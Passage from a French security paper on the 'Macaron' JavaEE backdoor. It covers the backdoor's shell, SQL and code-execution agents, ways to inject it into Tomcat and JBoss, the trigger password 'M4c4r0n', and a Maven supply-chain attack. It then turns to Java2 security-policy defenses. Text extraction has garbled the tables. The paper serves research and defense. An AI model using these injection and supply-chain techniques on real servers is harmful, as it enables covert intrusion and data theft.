La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
